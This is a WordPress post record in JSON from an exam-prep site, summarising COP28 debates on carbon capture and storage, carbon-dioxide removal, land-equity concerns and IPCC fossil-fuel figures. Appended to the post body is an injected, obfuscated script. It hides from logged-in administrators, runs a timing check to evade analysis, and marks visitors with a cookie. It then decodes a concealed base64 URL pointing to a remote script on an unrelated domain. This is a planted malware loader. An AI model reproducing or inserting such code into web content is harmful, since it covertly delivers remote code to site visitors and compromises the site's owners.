{"id":580,"date":"2023-12-15T11:23:39","date_gmt":"2023-12-15T11:23:39","guid":{"rendered":"https:\/\/iasquest.com\/?p=580"},"modified":"2026-02-11T19:26:18","modified_gmt":"2026-02-11T19:26:18","slug":"at-the-cop28-climate-talks-underway-in-dubai-draft-decisions-thus-far-have-referred-to-the-abatement-and-removal-of-carbon-emissions-using-carbon-capture-and-storage-ccs-and-carbon-dioxide-removal","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/at-the-cop28-climate-talks-underway-in-dubai-draft-decisions-thus-far-have-referred-to-the-abatement-and-removal-of-carbon-emissions-using-carbon-capture-and-storage-ccs-and-carbon-dioxide-removal\/","title":{"rendered":"At the COP28 climate talks underway in Dubai, draft decisions thus far have referred to the abatement and removal of carbon emissions using carbon capture and storage (CCS) and carbon-dioxide removal (CDR) technologies."},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Carbon capture and storage (CCS)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CCS refers to technologies that can capture carbon dioxide (CO\u2082) at a source of emissions before it is released into the atmosphere.<\/li>\n\n\n\n<li>These sources include the fossil fuel industry (where coal, oil and gas are combusted to generate power) and industrial processes like steel and cement production.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Carbon-dioxide removal (CDR) technologies<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CDR takes the forms of both natural means like afforestation or reforestation and technologies like direct air capture, where machines mimic trees by absorbing CO\u2082 from their surroundings and storing it underground.<\/li>\n\n\n\n<li>There are also more complex CDR technologies like enhanced rock weathering, where rocks are broken down chemically; the resulting rock particles can remove CO\u2082 from the atmosphere.<\/li>\n\n\n\n<li>Other technologies like bioenergy with carbon capture and storage (BECCS) capture and store CO\u2082 from burning biomass, like wood.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Unabated fossil fuels<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>At COP28, the term \u201cunabated fossil fuels\u201d has come to mean the combustion of these fuels without using CCS technologies to capture their emissions.<\/li>\n\n\n\n<li>Draft decision texts point to a need to \u201cphase out\u201d such unabated fossil fuels.<\/li>\n\n\n\n<li>On the other hand, removal technologies have been referenced in the context of the need to scale zero and low-emission technologies and support forest restoration as a means to promote emission removals.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Concerns regarding CDR<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CDR methods like afforestation, reforestation, BECCS, and direct air capture are constrained by their need for land.<\/li>\n\n\n\n<li>Land also invokes equity concerns.<\/li>\n\n\n\n<li>Land in the Global South is often considered to be \u2018viable\u2019 and\/or \u2018cost-effective\u2019 for planting trees and deploying other large-scale CDR methods. As a result, such CDR projects can adversely affect land rights of indigenous communities and biodiversity and compete with other forms of land-use, like agriculture that is crucial for ensuring food security.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Challenges of CCS and CDR<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>By removing CO\u2082 from their environment, there are concerns that CCS and CDR create more \u2018room\u2019 to emit the greenhouse gas.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>IPCC assess<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In future emissions scenarios that the IPCC has assessed, the world\u2019s use of coal, oil, and gas in 2050 needs to decline by about 95%, 60%, and 45% respectively (all median values) from their use in 2019 to keep the planet from warming by less than 1.5 degrees C with no or limited overshoot.<\/li>\n\n\n\n<li>But without CCS, the expected reductions are 100%, 60%, and 70% for coal, oil, and gas by 2050.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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